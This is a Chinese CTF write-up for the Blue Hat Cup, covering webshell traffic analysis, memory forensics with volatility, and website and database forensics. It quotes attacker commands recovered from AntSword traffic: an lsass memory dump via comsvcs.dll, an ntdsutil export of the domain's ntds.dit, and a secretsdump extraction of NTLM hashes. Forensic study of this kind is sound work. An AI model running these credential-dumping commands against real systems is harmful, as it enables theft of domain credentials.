7月底划水打了蓝帽杯,然后一直没写 wp 鸽到现在,感觉整个暑假啥也没干,应该写点啥。
Misc
domainhacker
本来在准备 hvv,但由于疫情原因不了了之。不过鉴于那段时间的培训,一下子就分辨出是蚁剑的流量。本题的流量是经过 base64 加密并且加 Salt 的,不过可以从代码还原出来。
在流量包的请求体中能轻松辨别出参数,解码后依次有以下这些有用的指令:
1 | cd /d "C:\\phpstudy_pro\\WWW"&powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 476 C:\windows\temp\lsass.dmp full"&echo efa923ba504&cd&echo 1a4be8815ef8 |
这样我们就知道压缩包密码是 SecretsPassw0rds
,之后还有个下载请求,分离出压缩包,解压得到 1.txt
:
1 | Authentication Id : 0 ; 996 (00000000:000003e4) |
把 NTLM 的值作为 flag 即可:flag{416f89c3a5deb1d398a1a1fce93862a7}
domainhacker2
类似的,同样是蚁剑的流量,不过指令种类更加丰富(有机会来分析一下各类流量)。
同样提取出有用的指令:
1 | cd /d "C:\\phpstudy_pro\\WWW"&dsquery computer&echo 1d3632&cd&echo 78bc462ab |
获取到域中的计算机(CN = Common Name,OU = Organizational Unit,DC = Domain Component):
1 | "CN=PDC,OU=Domain Controllers,DC=test,DC=local" |
获取本机名:
1 | cd /d "C:\\phpstudy_pro\\WWW"&hostname&echo 1d3632&cd&echo 78bc462ab |
得知本机为 PDC,结合之前的域信息得知本机就是域管理员。
新建了一个 log.txt
,并写入以下内容:
1 | ac i ntds |
与这篇文章相同的方法(只是把 log.txt 作为流输入了)导出密钥信息:
1 | cd /d "C:\\phpstudy_pro\\WWW"&cmd.exe /c ntdsutil.exe < log.txt >err.txt 2>&1&echo 1d3632&cd&echo 78bc462ab |
导出到 err.txt
,并获得回显:
1 | ntdsutil.exe: 活动实例设置为“ntds”。 |
然后和前一题一样使用压缩包打包,密码是 FakePassword123$
,不得不说挺有迷惑性的:
1 | cd /d "c:\\Windows\\Temp"&rar.exe a -PFakePassword123$ ntds.rar new&echo 1d3632&cd&echo 78bc462ab |
我们用 impacket 的 secretsdump 脚本导出密钥信息,注意要历史密钥:
1 | python secretsdump.py -system "domainhacker2_184c16876d41965a695f89232ae5392d\new\registry\SYSTEM" -security "domainhacker2_184c16876d41965a695f89232ae5392d\new\registry\SECURITY" -ntds "domainhacker2_184c16876d41965a695f89232ae5392d\new\Active Directory\ntds.dit" LOCAL -just-dc-ntlm -history |
省略了中间的一些邮箱服务检测账户:
1 | Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation |
题目要的是 administrator 的上一次 ntlm,别弄错了!
flag{07ab403ab740c1540c378b0f5aaa4087}
电子取证
手机取证
感觉是推销盘古石取证的题(雾),用给的工具找就行了,纯粹的签到题。
计算机取证_1
用老牌工具 volatility 直接 hashdump 即可,值得注意的是 volatility3 的使用方法和 v2 有很大的不同,网上也没啥教程,摸索了半天。
下面的是最后弄出来的最简单的办法,中途用的是 volshell,非常折磨。
1 | .\vol.py -f 1.dmp windows.hashdump.Hashdump |
1 | Volatility 3 Framework 2.3.0 |
拿 7f21caca5685f10d9e849cc84c340528
去 MD5 网站查询得到是 anxinqi
。
计算机取证_2
还是用的 volatility:
1 | .\vol.py -f "C:\Users\YuGao\Documents\Tencent Files\2645943187\FileRecv\计算机取证\1.dmp" windows.pslist.PsList > log.txt |
1 | Volatility 3 Framework 2.3.0 |
可以看到有个 MagnetRAMCaptu,一看就是制作内存镜像的,PID 就是答案。
网站取证_1
直接搜索常见的木马特征如 assert
eval
等发现直接找到了。
后门在 runtime\temp
目录下。
网站取证_2
直接源码搜索“数据库”,发现有个 database.php
规定了数据库有关信息。
引用了 encrypt/encrypt.php
,并且密码由 my_encrypt()
生成。
继续跟进,找到函数 my_encrypt,运行即可:
1 | function my_encrypt(){ |
得到答案 KBLT123
网站取证_3
发现金额有关的变量名都和 money
有关,源码搜索,发现 $param['money'] = $this->encrypt($param['money']);
查看 encrypt 函数:
1 | function encrypt($data, $key = 'jyzg123456') |
发现 Salt 就是 jyzg123456
。
网站取证_4
把数据库中表以及列的作用都弄明白:
1 | COMMENT ON COLUMN "public"."tab_user"."id" IS '用户id'; |
将语句处理成易于读取的格式:
data.txt
:
1 | (1, '271188138699', '2022-04-01 00:00:50', 4, 2, 'nJ1xlG5v') |
exchange_rate.txt
:
1 | ('1', 0.05, '2022-04-01') |
然后提取出题目要求的转账记录,根据前一题的加密脚本解密,然后按照汇率转成 RMB,求和即可。
1 |
|
最后答案是 15758353.76